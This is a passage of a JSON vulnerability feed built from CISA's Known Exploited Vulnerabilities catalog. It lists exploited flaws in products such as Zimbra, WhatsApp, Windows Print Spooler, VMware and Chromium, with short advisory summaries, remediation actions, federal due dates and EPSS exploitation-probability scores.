instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99992,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-29464","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-29464 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-29464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-6882","cveId":"CVE-2018-6882","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that might allow remote attackers to inject arbitrary web script or HTML.","detail":"CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-19","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-19","dueAt":"2022-05-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29761,"percentile":0.98185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-6882","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-6882 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-6882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-3568","cveId":"CVE-2019-3568","aliases":[],"kind":"vulnerability","title":"WhatsApp VOIP Stack Buffer Overflow Vulnerability","summary":"A buffer overflow vulnerability in WhatsApp VOIP stack allowed remote code execution via specially crafted series of RTCP packets sent to a target phone number.","detail":"CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-19","updatedAt":null,"regions":["Global"],"vendor":"Meta Platforms","product":"WhatsApp","stacks":["Meta Platforms","WhatsApp"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-19","dueAt":"2022-05-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30076,"percentile":0.98199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-3568","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-3568 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-3568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22718","cveId":"CVE-2022-22718","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Privilege Escalation Vulnerability","summary":"Microsoft Windows Print Spooler contains an unspecified vulnerability which allow for privilege escalation.","detail":"CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-19","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-19","dueAt":"2022-05-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18464,"percentile":0.97221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22718","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22718 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2007-3010","cveId":"CVE-2007-3010","aliases":[],"kind":"vulnerability","title":"Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability","summary":"masterCGI in the Unified Maintenance Tool in Alcatel OmniPCX Enterprise Communication Server allows remote attackers to execute arbitrary commands.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Alcatel","product":"OmniPCX Enterprise","stacks":["Alcatel","OmniPCX Enterprise"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97385,"percentile":0.99897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2007-3010","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2007-3010 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2007-3010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-5330","cveId":"CVE-2010-5330","aliases":[],"kind":"vulnerability","title":"Ubiquiti AirOS Command Injection Vulnerability","summary":"Certain Ubiquiti devices contain a command injection vulnerability via a GET request to stainfo.cgi.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Ubiquiti","product":"AirOS","stacks":["Ubiquiti","AirOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.40232,"percentile":0.98629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-5330","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-5330 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-5330, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0780","cveId":"CVE-2014-0780","aliases":[],"kind":"vulnerability","title":"InduSoft Web Studio NTWebServer Directory Traversal Vulnerability","summary":"InduSoft Web Studio NTWebServer contains a directory traversal vulnerability that allows remote attackers to read administrative passwords in APP files, allowing for remote code execution.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"InduSoft","product":"Web Studio","stacks":["InduSoft","Web Studio"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74679,"percentile":0.99498,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0780","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0780 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0780, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4523","cveId":"CVE-2016-4523","aliases":[],"kind":"vulnerability","title":"Trihedral VTScada (formerly VTS) Denial-of-Service Vulnerability","summary":"The WAP interface in Trihedral VTScada (formerly VTS) allows remote attackers to cause a denial-of-service (DoS).","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Trihedral","product":"VTScada (formerly VTS)","stacks":["Trihedral","VTScada (formerly VTS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.31167,"percentile":0.98257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4523","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4523 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4523, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-7841","cveId":"CVE-2018-7841","aliases":[],"kind":"vulnerability","title":"Schneider Electric U.motion Builder SQL Injection Vulnerability","summary":"A SQL Injection vulnerability exists in U.motion Builder software which could cause unwanted code execution when an improper set of characters is entered.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Schneider Electric","product":"U.motion Builder","stacks":["Schneider Electric","U.motion Builder"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72486,"percentile":0.99435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-7841","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-7841 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-7841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16057","cveId":"CVE-2019-16057","aliases":[],"kind":"vulnerability","title":"D-Link DNS-320 Remote Code Execution Vulnerability","summary":"The login_mgr.cgi script in D-Link DNS-320 is vulnerable to remote code execution.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DNS-320 Storage Device","stacks":["D-Link","DNS-320 Storage Device"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86491,"percentile":0.99734,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16057","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16057 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-3929","cveId":"CVE-2019-3929","aliases":[],"kind":"vulnerability","title":"Crestron Multiple Products Command Injection Vulnerability","summary":"Multiple Crestron products are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Crestron","product":"Multiple Products","stacks":["Crestron","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98952,"percentile":0.99928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-3929","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-3929 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-3929, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-1364","cveId":"CVE-2022-1364","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13921,"percentile":0.96513,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-1364","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-1364 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-1364, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22960","cveId":"CVE-2022-22960","aliases":[],"kind":"vulnerability","title":"VMware Multiple Products Privilege Escalation Vulnerability","summary":"VMware Workspace ONE Access, Identity Manager and vRealize Automation contain a privilege escalation vulnerability due to improper permissions in support scripts.","detail":"CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-15","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Multiple Products","stacks":["VMware","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-15","dueAt":"2022-05-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.35519,"percentile":0.98442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22960","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22960 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22954","cveId":"CVE-2022-22954","aliases":[],"kind":"vulnerability","title":"VMware Workspace ONE Access and Identity Manager Server-Side Template Injection Vulnerability","summary":"VMware Workspace ONE Access and Identity Manager allow for remote code execution due to server-side template injection.","detail":"CISA added this entry on 2022-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-14","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Workspace ONE Access and Identity Manager","stacks":["VMware","Workspace ONE Access and Identity Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-14","dueAt":"2022-05-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99998,"percentile":0.9999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22954","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22954 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-9163","cveId":"CVE-2014-9163","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Stack-Based Buffer Overflow Vulnerability","summary":"Stack-based buffer overflow in Adobe Flash Player allows attackers to execute code remotely.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-04-13","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-13","dueAt":"2022-05-04","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4488,"percentile":0.98767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-9163","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-9163 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-9163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-0311","cveId":"CVE-2015-0311","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Remote Code Execution Vulnerability","summary":"Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute code.","detail":"CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. 